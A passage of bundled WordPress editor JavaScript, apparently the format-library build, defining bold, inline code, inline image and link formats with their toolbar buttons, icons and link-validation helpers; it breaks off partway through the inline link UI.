1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ var __webpack_modules__ = ({
4
5/***/ 3533:
6/***/ ((module) => {
7
8module.exports = window["wp"]["latexToMathml"];
9
10/***/ })
11
12/******/ });
13/************************************************************************/
14/******/ // The module cache
15/******/ var __webpack_module_cache__ = {};
16/******/
17/******/ // The require function
18/******/ function __webpack_require__(moduleId) {
19/******/ // Check if module is in cache
20/******/ var cachedModule = __webpack_module_cache__[moduleId];
21/******/ if (cachedModule !== undefined) {
22/******/ return cachedModule.exports;
23/******/ }
24/******/ // Create a new module (and put it into the cache)
25/******/ var module = __webpack_module_cache__[moduleId] = {
26/******/ // no module.id needed
27/******/ // no module.loaded needed
28/******/ exports: {}
29/******/ };
30/******/
31/******/ // Execute the module function
32/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
33/******/
34/******/ // Return the exports of the module
35/******/ return module.exports;
36/******/ }
37/******/
38/************************************************************************/
39/******/ /* webpack/runtime/create fake namespace object */
40/******/ (() => {
41/******/ var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__);
42/******/ var leafPrototypes;
43/******/ // create a fake namespace object
44/******/ // mode & 1: value is a module id, require it
45/******/ // mode & 2: merge all properties of value into the ns
46/******/ // mode & 4: return value when already ns object
47/******/ // mode & 16: return value when it's Promise-like
48/******/ // mode & 8|1: behave like require
49/******/ __webpack_require__.t = function(value, mode) {
50/******/ if(mode & 1) value = this(value);
51/******/ if(mode & 8) return value;
52/******/ if(typeof value === 'object' && value) {
53/******/ if((mode & 4) && value.__esModule) return value;
54/******/ if((mode & 16) && typeof value.then === 'function') return value;
55/******/ }
56/******/ var ns = Object.create(null);
57/******/ __webpack_require__.r(ns);
58/******/ var def = {};
59/******/ leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)];
60/******/ for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) {
61/******/ Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key])));
62/******/ }
63/******/ def['default'] = () => (value);
64/******/ __webpack_require__.d(ns, def);
65/******/ return ns;
66/******/ };
67/******/ })();
68/******/
69/******/ /* webpack/runtime/define property getters */
70/******/ (() => {
71/******/ // define getter functions for harmony exports
72/******/ __webpack_require__.d = (exports, definition) => {
73/******/ for(var key in definition) {
74/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
75/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
76/******/ }
77/******/ }
78/******/ };
79/******/ })();
80/******/
81/******/ /* webpack/runtime/hasOwnProperty shorthand */
82/******/ (() => {
83/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
84/******/ })();
85/******/
86/******/ /* webpack/runtime/make namespace object */
87/******/ (() => {
88/******/ // define __esModule on exports
89/******/ __webpack_require__.r = (exports) => {
90/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
91/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
92/******/ }
93/******/ Object.defineProperty(exports, '__esModule', { value: true });
94/******/ };
95/******/ })();
96/******/
97/************************************************************************/
98var __webpack_exports__ = {};
99
100;// external ["wp","richText"]
101const external_wp_richText_namespaceObject = window["wp"]["richText"];
102;// external "ReactJSXRuntime"
103const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
104;// external ["wp","i18n"]
105const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
106;// external ["wp","blockEditor"]
107const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
108;// external ["wp","primitives"]
109const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
110;// ./node_modules/@wordpress/icons/build-module/library/format-bold.js
111
112
113var format_bold_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M14.7 11.3c1-.6 1.5-1.6 1.5-3 0-2.3-1.3-3.4-4-3.4H7v14h5.8c1.4 0 2.5-.3 3.3-1 .8-.7 1.2-1.7 1.2-2.9.1-1.9-.8-3.1-2.6-3.7zm-5.1-4h2.3c.6 0 1.1.1 1.4.4.3.3.5.7.5 1.2s-.2 1-.5 1.2c-.3.3-.8.4-1.4.4H9.6V7.3zm4.6 9c-.4.3-1 .4-1.7.4H9.6v-3.9h2.9c.7 0 1.3.2 1.7.5.4.3.6.8.6 1.5s-.2 1.2-.6 1.5z" }) });
114
115
116;// ./node_modules/@wordpress/format-library/build-module/bold/index.js
117
118
119
120
121
122const bold_name = "core/bold";
123const title = (0,external_wp_i18n_namespaceObject.__)("Bold");
124const bold = {
125 name: bold_name,
126 title,
127 tagName: "strong",
128 className: null,
129 edit({ isActive, value, onChange, onFocus }) {
130 function onToggle() {
131 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: bold_name, title }));
132 }
133 function onClick() {
134 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: bold_name }));
135 onFocus();
136 }
137 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
138 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
139 external_wp_blockEditor_namespaceObject.RichTextShortcut,
140 {
141 type: "primary",
142 character: "b",
143 onUse: onToggle
144 }
145 ),
146 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
147 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
148 {
149 name: "bold",
150 icon: format_bold_default,
151 title,
152 onClick,
153 isActive,
154 shortcutType: "primary",
155 shortcutCharacter: "b"
156 }
157 ),
158 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
159 external_wp_blockEditor_namespaceObject.__unstableRichTextInputEvent,
160 {
161 inputType: "formatBold",
162 onInput: onToggle
163 }
164 )
165 ] });
166 }
167};
168
169
170;// ./node_modules/@wordpress/icons/build-module/library/code.js
171
172
173var code_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 0-2.6zM4.2 11.8l4.3-4.3-1-1-4.3 4.3c-.7.7-.7 1.8 0 2.5l4.3 4.3 1.1-1.1-4.3-4.3c-.2-.1-.2-.3-.1-.4z" }) });
174
175
176;// ./node_modules/@wordpress/format-library/build-module/code/index.js
177
178
179
180
181
182const code_name = "core/code";
183const code_title = (0,external_wp_i18n_namespaceObject.__)("Inline code");
184const code = {
185 name: code_name,
186 title: code_title,
187 tagName: "code",
188 className: null,
189 __unstableInputRule(value) {
190 const BACKTICK = "`";
191 const { start, text } = value;
192 const characterBefore = text[start - 1];
193 if (characterBefore !== BACKTICK) {
194 return value;
195 }
196 if (start - 2 < 0) {
197 return value;
198 }
199 const indexBefore = text.lastIndexOf(BACKTICK, start - 2);
200 if (indexBefore === -1) {
201 return value;
202 }
203 const startIndex = indexBefore;
204 const endIndex = start - 2;
205 if (startIndex === endIndex) {
206 return value;
207 }
208 value = (0,external_wp_richText_namespaceObject.remove)(value, startIndex, startIndex + 1);
209 value = (0,external_wp_richText_namespaceObject.remove)(value, endIndex, endIndex + 1);
210 value = (0,external_wp_richText_namespaceObject.applyFormat)(value, { type: code_name }, startIndex, endIndex);
211 return value;
212 },
213 edit({ value, onChange, onFocus, isActive }) {
214 function onClick() {
215 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: code_name, title: code_title }));
216 onFocus();
217 }
218 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
219 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
220 external_wp_blockEditor_namespaceObject.RichTextShortcut,
221 {
222 type: "access",
223 character: "x",
224 onUse: onClick
225 }
226 ),
227 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
228 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
229 {
230 icon: code_default,
231 title: code_title,
232 onClick,
233 isActive,
234 role: "menuitemcheckbox"
235 }
236 )
237 ] });
238 }
239};
240
241
242;// external ["wp","components"]
243const external_wp_components_namespaceObject = window["wp"]["components"];
244;// external ["wp","element"]
245const external_wp_element_namespaceObject = window["wp"]["element"];
246;// ./node_modules/@wordpress/format-library/build-module/image/index.js
247
248
249
250
251
252
253const ALLOWED_MEDIA_TYPES = ["image"];
254const image_name = "core/image";
255const image_title = (0,external_wp_i18n_namespaceObject.__)("Inline image");
256function getCurrentImageId(activeObjectAttributes) {
257 if (!activeObjectAttributes?.className) {
258 return void 0;
259 }
260 const [, id] = activeObjectAttributes.className.match(/wp-image-(\d+)/) ?? [];
261 return id ? parseInt(id, 10) : void 0;
262}
263const image_image = {
264 name: image_name,
265 title: image_title,
266 keywords: [(0,external_wp_i18n_namespaceObject.__)("photo"), (0,external_wp_i18n_namespaceObject.__)("media")],
267 object: true,
268 tagName: "img",
269 className: null,
270 attributes: {
271 className: "class",
272 style: "style",
273 url: "src",
274 alt: "alt"
275 },
276 edit: Edit
277};
278function InlineUI({ value, onChange, activeObjectAttributes, contentRef }) {
279 const { style, alt } = activeObjectAttributes;
280 const width = style?.replace(/\D/g, "");
281 const [editedWidth, setEditedWidth] = (0,external_wp_element_namespaceObject.useState)(width);
282 const [editedAlt, setEditedAlt] = (0,external_wp_element_namespaceObject.useState)(alt);
283 const hasChanged = editedWidth !== width || editedAlt !== alt;
284 const popoverAnchor = (0,external_wp_richText_namespaceObject.useAnchor)({
285 editableContentElement: contentRef.current,
286 settings: image_image
287 });
288 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
289 external_wp_components_namespaceObject.Popover,
290 {
291 placement: "bottom",
292 focusOnMount: false,
293 anchor: popoverAnchor,
294 className: "block-editor-format-toolbar__image-popover",
295 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
296 "form",
297 {
298 className: "block-editor-format-toolbar__image-container-content",
299 onSubmit: (event) => {
300 const newReplacements = value.replacements.slice();
301 newReplacements[value.start] = {
302 type: image_name,
303 attributes: {
304 ...activeObjectAttributes,
305 style: editedWidth ? `width: ${editedWidth}px;` : "",
306 alt: editedAlt
307 }
308 };
309 onChange({
310 ...value,
311 replacements: newReplacements
312 });
313 event.preventDefault();
314 },
315 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
316 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
317 external_wp_components_namespaceObject.__experimentalNumberControl,
318 {
319 __next40pxDefaultSize: true,
320 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
321 value: editedWidth,
322 min: 1,
323 onChange: (newWidth) => {
324 setEditedWidth(newWidth);
325 }
326 }
327 ),
328 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
329 external_wp_components_namespaceObject.TextareaControl,
330 {
331 label: (0,external_wp_i18n_namespaceObject.__)("Alternative text"),
332 __nextHasNoMarginBottom: true,
333 value: editedAlt,
334 onChange: (newAlt) => {
335 setEditedAlt(newAlt);
336 },
337 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
338 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
339 external_wp_components_namespaceObject.ExternalLink,
340 {
341 href: (
342 // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
343 (0,external_wp_i18n_namespaceObject.__)(
344 "https://www.w3.org/WAI/tutorials/images/decision-tree/"
345 )
346 ),
347 children: (0,external_wp_i18n_namespaceObject.__)(
348 "Describe the purpose of the image."
349 )
350 }
351 ),
352 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}),
353 (0,external_wp_i18n_namespaceObject.__)("Leave empty if decorative.")
354 ] })
355 }
356 ),
357 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
358 external_wp_components_namespaceObject.Button,
359 {
360 disabled: !hasChanged,
361 accessibleWhenDisabled: true,
362 variant: "primary",
363 type: "submit",
364 size: "compact",
365 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
366 }
367 ) })
368 ] })
369 }
370 )
371 }
372 );
373}
374function Edit({
375 value,
376 onChange,
377 onFocus,
378 isObjectActive,
379 activeObjectAttributes,
380 contentRef
381}) {
382 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.MediaUploadCheck, { children: [
383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
384 external_wp_blockEditor_namespaceObject.MediaUpload,
385 {
386 allowedTypes: ALLOWED_MEDIA_TYPES,
387 value: getCurrentImageId(activeObjectAttributes),
388 onSelect: ({ id, url, alt, width: imgWidth }) => {
389 onChange(
390 (0,external_wp_richText_namespaceObject.insertObject)(value, {
391 type: image_name,
392 attributes: {
393 className: `wp-image-${id}`,
394 style: `width: ${Math.min(
395 imgWidth,
396 150
397 )}px;`,
398 url,
399 alt
400 }
401 })
402 );
403 onFocus();
404 },
405 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
406 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
407 {
408 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
409 external_wp_components_namespaceObject.SVG,
410 {
411 xmlns: "http://www.w3.org/2000/svg",
412 viewBox: "0 0 24 24",
413 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M4 18.5h16V17H4v1.5zM16 13v1.5h4V13h-4zM5.1 15h7.8c.6 0 1.1-.5 1.1-1.1V6.1c0-.6-.5-1.1-1.1-1.1H5.1C4.5 5 4 5.5 4 6.1v7.8c0 .6.5 1.1 1.1 1.1zm.4-8.5h7V10l-1-1c-.3-.3-.8-.3-1 0l-1.6 1.5-1.2-.7c-.3-.2-.6-.2-.9 0l-1.3 1V6.5zm0 6.1l1.8-1.3 1.3.8c.3.2.7.2.9-.1l1.5-1.4 1.5 1.4v1.5h-7v-.9z" })
414 }
415 ),
416 title: isObjectActive ? (0,external_wp_i18n_namespaceObject.__)("Replace image") : image_title,
417 onClick: open,
418 isActive: isObjectActive
419 }
420 )
421 }
422 ),
423 isObjectActive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
424 InlineUI,
425 {
426 value,
427 onChange,
428 activeObjectAttributes,
429 contentRef
430 }
431 )
432 ] });
433}
434
435
436;// ./node_modules/@wordpress/icons/build-module/library/format-italic.js
437
438
439var format_italic_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.5 5L10 19h1.9l2.5-14z" }) });
440
441
442;// ./node_modules/@wordpress/format-library/build-module/italic/index.js
443
444
445
446
447
448const italic_name = "core/italic";
449const italic_title = (0,external_wp_i18n_namespaceObject.__)("Italic");
450const italic = {
451 name: italic_name,
452 title: italic_title,
453 tagName: "em",
454 className: null,
455 edit({ isActive, value, onChange, onFocus }) {
456 function onToggle() {
457 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: italic_name, title: italic_title }));
458 }
459 function onClick() {
460 onChange((0,external_wp_richText_namespaceObject.toggleFormat)(value, { type: italic_name }));
461 onFocus();
462 }
463 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
464 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
465 external_wp_blockEditor_namespaceObject.RichTextShortcut,
466 {
467 type: "primary",
468 character: "i",
469 onUse: onToggle
470 }
471 ),
472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
473 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
474 {
475 name: "italic",
476 icon: format_italic_default,
477 title: italic_title,
478 onClick,
479 isActive,
480 shortcutType: "primary",
481 shortcutCharacter: "i"
482 }
483 ),
484 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
485 external_wp_blockEditor_namespaceObject.__unstableRichTextInputEvent,
486 {
487 inputType: "formatItalic",
488 onInput: onToggle
489 }
490 )
491 ] });
492 }
493};
494
495
496;// external ["wp","url"]
497const external_wp_url_namespaceObject = window["wp"]["url"];
498;// external ["wp","htmlEntities"]
499const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
500;// ./node_modules/@wordpress/icons/build-module/library/link.js
501
502
503var link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
504
505
506;// external ["wp","a11y"]
507const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
508;// external ["wp","data"]
509const external_wp_data_namespaceObject = window["wp"]["data"];
510;// ./node_modules/@wordpress/format-library/build-module/link/utils.js
511
512function isValidHref(href) {
513 if (!href) {
514 return false;
515 }
516 const trimmedHref = href.trim();
517 if (!trimmedHref) {
518 return false;
519 }
520 if (/^\S+:/.test(trimmedHref)) {
521 const protocol = (0,external_wp_url_namespaceObject.getProtocol)(trimmedHref);
522 if (!(0,external_wp_url_namespaceObject.isValidProtocol)(protocol)) {
523 return false;
524 }
525 if (protocol.startsWith("http") && !/^https?:\/\/[^\/\s]/i.test(trimmedHref)) {
526 return false;
527 }
528 const authority = (0,external_wp_url_namespaceObject.getAuthority)(trimmedHref);
529 if (!(0,external_wp_url_namespaceObject.isValidAuthority)(authority)) {
530 return false;
531 }
532 const path = (0,external_wp_url_namespaceObject.getPath)(trimmedHref);
533 if (path && !(0,external_wp_url_namespaceObject.isValidPath)(path)) {
534 return false;
535 }
536 const queryString = (0,external_wp_url_namespaceObject.getQueryString)(trimmedHref);
537 if (queryString && !(0,external_wp_url_namespaceObject.isValidQueryString)(queryString)) {
538 return false;
539 }
540 const fragment = (0,external_wp_url_namespaceObject.getFragment)(trimmedHref);
541 if (fragment && !(0,external_wp_url_namespaceObject.isValidFragment)(fragment)) {
542 return false;
543 }
544 }
545 if (trimmedHref.startsWith("#") && !(0,external_wp_url_namespaceObject.isValidFragment)(trimmedHref)) {
546 return false;
547 }
548 return true;
549}
550function createLinkFormat({
551 url,
552 type,
553 id,
554 opensInNewWindow,
555 nofollow,
556 cssClasses
557}) {
558 const format = {
559 type: "core/link",
560 attributes: {
561 url
562 }
563 };
564 if (type) {
565 format.attributes.type = type;
566 }
567 if (id) {
568 format.attributes.id = id;
569 }
570 if (opensInNewWindow) {
571 format.attributes.target = "_blank";
572 format.attributes.rel = format.attributes.rel ? format.attributes.rel + " noreferrer noopener" : "noreferrer noopener";
573 }
574 if (nofollow) {
575 format.attributes.rel = format.attributes.rel ? format.attributes.rel + " nofollow" : "nofollow";
576 }
577 const trimmedCssClasses = cssClasses?.trim();
578 if (trimmedCssClasses?.length) {
579 format.attributes.class = trimmedCssClasses;
580 }
581 return format;
582}
583function getFormatBoundary(value, format, startIndex = value.start, endIndex = value.end) {
584 const EMPTY_BOUNDARIES = {
585 start: null,
586 end: null
587 };
588 const { formats } = value;
589 let targetFormat;
590 let initialIndex;
591 if (!formats?.length) {
592 return EMPTY_BOUNDARIES;
593 }
594 const newFormats = formats.slice();
595 const formatAtStart = newFormats[startIndex]?.find(
596 ({ type }) => type === format.type
597 );
598 const formatAtEnd = newFormats[endIndex]?.find(
599 ({ type }) => type === format.type
600 );
601 const formatAtEndMinusOne = newFormats[endIndex - 1]?.find(
602 ({ type }) => type === format.type
603 );
604 if (!!formatAtStart) {
605 targetFormat = formatAtStart;
606 initialIndex = startIndex;
607 } else if (!!formatAtEnd) {
608 targetFormat = formatAtEnd;
609 initialIndex = endIndex;
610 } else if (!!formatAtEndMinusOne) {
611 targetFormat = formatAtEndMinusOne;
612 initialIndex = endIndex - 1;
613 } else {
614 return EMPTY_BOUNDARIES;
615 }
616 const index = newFormats[initialIndex].indexOf(targetFormat);
617 const walkingArgs = [newFormats, initialIndex, targetFormat, index];
618 startIndex = walkToStart(...walkingArgs);
619 endIndex = walkToEnd(...walkingArgs);
620 startIndex = startIndex < 0 ? 0 : startIndex;
621 return {
622 start: startIndex,
623 end: endIndex
624 };
625}
626function walkToBoundary(formats, initialIndex, targetFormatRef, formatIndex, direction) {
627 let index = initialIndex;
628 const directions = {
629 forwards: 1,
630 backwards: -1
631 };
632 const directionIncrement = directions[direction] || 1;
633 const inverseDirectionIncrement = directionIncrement * -1;
634 while (formats[index] && formats[index][formatIndex] === targetFormatRef) {
635 index = index + directionIncrement;
636 }
637 index = index + inverseDirectionIncrement;
638 return index;
639}
640const partialRight = (fn, ...partialArgs) => (...args) => fn(...args, ...partialArgs);
641const walkToStart = partialRight(walkToBoundary, "backwards");
642const walkToEnd = partialRight(walkToBoundary, "forwards");
643
644
645;// external ["wp","compose"]
646const external_wp_compose_namespaceObject = window["wp"]["compose"];
647;// ./node_modules/@wordpress/format-library/build-module/link/css-classes-setting.js
648
649
650
651
652
653const CSSClassesSettingComponent = ({ setting, value, onChange }) => {
654 const hasValue = value ? value?.cssClasses?.length > 0 : false;
655 const [isSettingActive, setIsSettingActive] = (0,external_wp_element_namespaceObject.useState)(hasValue);
656 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(CSSClassesSettingComponent);
657 const controlledRegionId = `css-classes-setting-${instanceId}`;
658 const handleSettingChange = (newValue) => {
659 const sanitizedValue = typeof newValue === "string" ? newValue.replace(/,/g, " ").replace(/\s+/g, " ").trim() : newValue;
660 onChange({
661 ...value,
662 [setting.id]: sanitizedValue
663 });
664 };
665 const handleCheckboxChange = () => {
666 if (isSettingActive) {
667 if (hasValue) {
668 handleSettingChange("");
669 }
670 setIsSettingActive(false);
671 } else {
672 setIsSettingActive(true);
673 }
674 };
675 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { children: [
676 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "legend", children: setting.title }),
677 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
678 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
679 external_wp_components_namespaceObject.CheckboxControl,
680 {
681 __nextHasNoMarginBottom: true,
682 label: setting.title,
683 onChange: handleCheckboxChange,
684 checked: isSettingActive || hasValue,
685 "aria-expanded": isSettingActive,
686 "aria-controls": isSettingActive ? controlledRegionId : void 0
687 }
688 ),
689 isSettingActive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { id: controlledRegionId, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
690 external_wp_components_namespaceObject.__experimentalInputControl,
691 {
692 label: (0,external_wp_i18n_namespaceObject.__)("CSS classes"),
693 value: value?.cssClasses,
694 onChange: handleSettingChange,
695 help: (0,external_wp_i18n_namespaceObject.__)(
696 "Separate multiple classes with spaces."
697 ),
698 __unstableInputWidth: "100%",
699 __next40pxDefaultSize: true
700 }
701 ) })
702 ] })
703 ] });
704};
705var css_classes_setting_default = CSSClassesSettingComponent;
706
707
708;// ./node_modules/@wordpress/format-library/build-module/link/inline.js
709
710
711
712
713
714
715
716
717
718
719
720
721const LINK_SETTINGS = [
722 ...external_wp_blockEditor_namespaceObject.LinkControl.DEFAULT_LINK_SETTINGS,
723 {
724 id: "nofollow",
725 title: (0,external_wp_i18n_namespaceObject.__)("Mark as nofollow")
726 },
727 {
728 id: "cssClasses",
729 title: (0,external_wp_i18n_namespaceObject.__)("Additional CSS class(es)"),
730 render: (setting, value, onChange) => {
731 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
732 css_classes_setting_default,
733 {
734 setting,
735 value,
736 onChange
737 }
738 );
739 }
740 }
741];
742function InlineLinkUI({
743 isActive,
744 activeAttributes,
745 value,
746 onChange,
747 onFocusOutside,
748 stopAddingLink,
749 contentRef,
750 focusOnMount
751}) {
752 const richLinkTextValue = getRichTextValueFromSelection(value, isActive);
753 const richTextText = richLinkTextValue.text;
754 const { selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
755 const { createPageEntity, userCanCreatePages, selectionStart } = (0,external_wp_data_namespaceObject.useSelect)(
756 (select) => {
757 const { getSettings, getSelectionStart } = select(external_wp_blockEditor_namespaceObject.store);
758 const _settings = getSettings();
759 return {
760 createPageEntity: _settings.__experimentalCreatePageEntity,
761 userCanCreatePages: _settings.__experimentalUserCanCreatePages,
762 selectionStart: getSelectionStart()
763 };
764 },
765 []
766 );
767 const linkValue = (0,external_wp_element_namespaceObject.useMemo)(
768 () => ({
769 url: activeAttributes.url,
770 type: activeAttributes.type,
771 id: activeAttributes.id,
772 opensInNewTab: activeAttributes.target === "_blank",
773 nofollow: activeAttributes.rel?.includes("nofollow"),
774 title: richTextText,
775 cssClasses: activeAttributes.class
776 }),
777 [
778 activeAttributes.class,
779 activeAttributes.id,
780 activeAttributes.rel,
781 activeAttributes.target,
782 activeAttributes.type,
783 activeAttributes.url,
784 richTextText
785 ]
786 );
787 function removeLink() {
788 const newValue = (0,external_wp_richText_namespaceObject.removeFormat)(value, "core/link");
789 onChange(newValue);
790 stopAddingLink();
791 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Link removed."), "assertive");
792 }
793 function onChangeLink(nextValue) {
794 const hasLink = linkValue?.url;
795 const isNewLink = !hasLink;
796 nextValue = {
797 ...linkValue,
798 ...nextValue
799 };
800 const newUrl = (0,external_wp_url_namespaceObject.prependHTTP)(nextValue.url);
801 const linkFormat = createLinkFormat({
802 url: newUrl,
803 type: nextValue.type,
804 id: nextValue.id !== void 0 && nextValue.id !== null ? String(nextValue.id) : void 0,
805 opensInNewWindow: nextValue.opensInNewTab,
806 nofollow: nextValue.nofollow,
807 cssClasses: nextValue.cssClasses
808 });
809 const newText = nextValue.title || newUrl;
810 let newValue;
811 if ((0,external_wp_richText_namespaceObject.isCollapsed)(value) && !isActive) {
812 const inserted = (0,external_wp_richText_namespaceObject.insert)(value, newText);
813 newValue = (0,external_wp_richText_namespaceObject.applyFormat)(
814 inserted,
815 linkFormat,
816 value.start,
817 value.start + newText.length
818 );
819 onChange(newValue);
820 stopAddingLink();
821 selectionChange({
822 clientId: selectionStart.clientId,
823 identifier: selectionStart.attributeKey,
824 start: value.start + newText.length + 1
825 });
826 return;
827 } else if (newText === richTextText) {
828 newValue = (0,external_wp_richText_namespaceObject.applyFormat)(value, linkFormat);
829 } else {
830 newValue = (0,external_wp_richText_namespaceObject.create)({ text: newText });
831 newValue = (0,external_wp_richText_namespaceObject.applyFormat)(newValue, linkFormat, 0, newText.length);
832 const boundary = getFormatBoundary(value, {
833 type: "core/link"
834 });
835 const [valBefore, valAfter] = (0,external_wp_richText_namespaceObject.split)(
836 value,
837 boundary.start,
838 boundary.start
839 );
840 const newValAfter = (0,external_wp_richText_namespaceObject.replace)(valAfter, richTextText, newValue);
841 newValue = (0,external_wp_richText_namespaceObject.concat)(valBefore, newValAfter);
842 }
843 onChange(newValue);
844 if (!isNewLink) {
845 stopAddingLink();
846 }
847 if (!isValidHref(newUrl)) {
848 (0,external_wp_a11y_namespaceObject.speak)(
849 (0,external_wp_i18n_namespaceObject.__)(
850 "Warning: the link has been inserted but may have errors. Please test it."
851 ),
852 "assertive"
853 );
854 } else if (isActive) {
855 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Link edited."), "assertive");
856 } else {
857 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Link inserted."), "assertive");
858 }
859 }
860 const popoverAnchor = (0,external_wp_richText_namespaceObject.useAnchor)({
861 editableContentElement: contentRef.current,
862 settings: {
863 ...link_link,
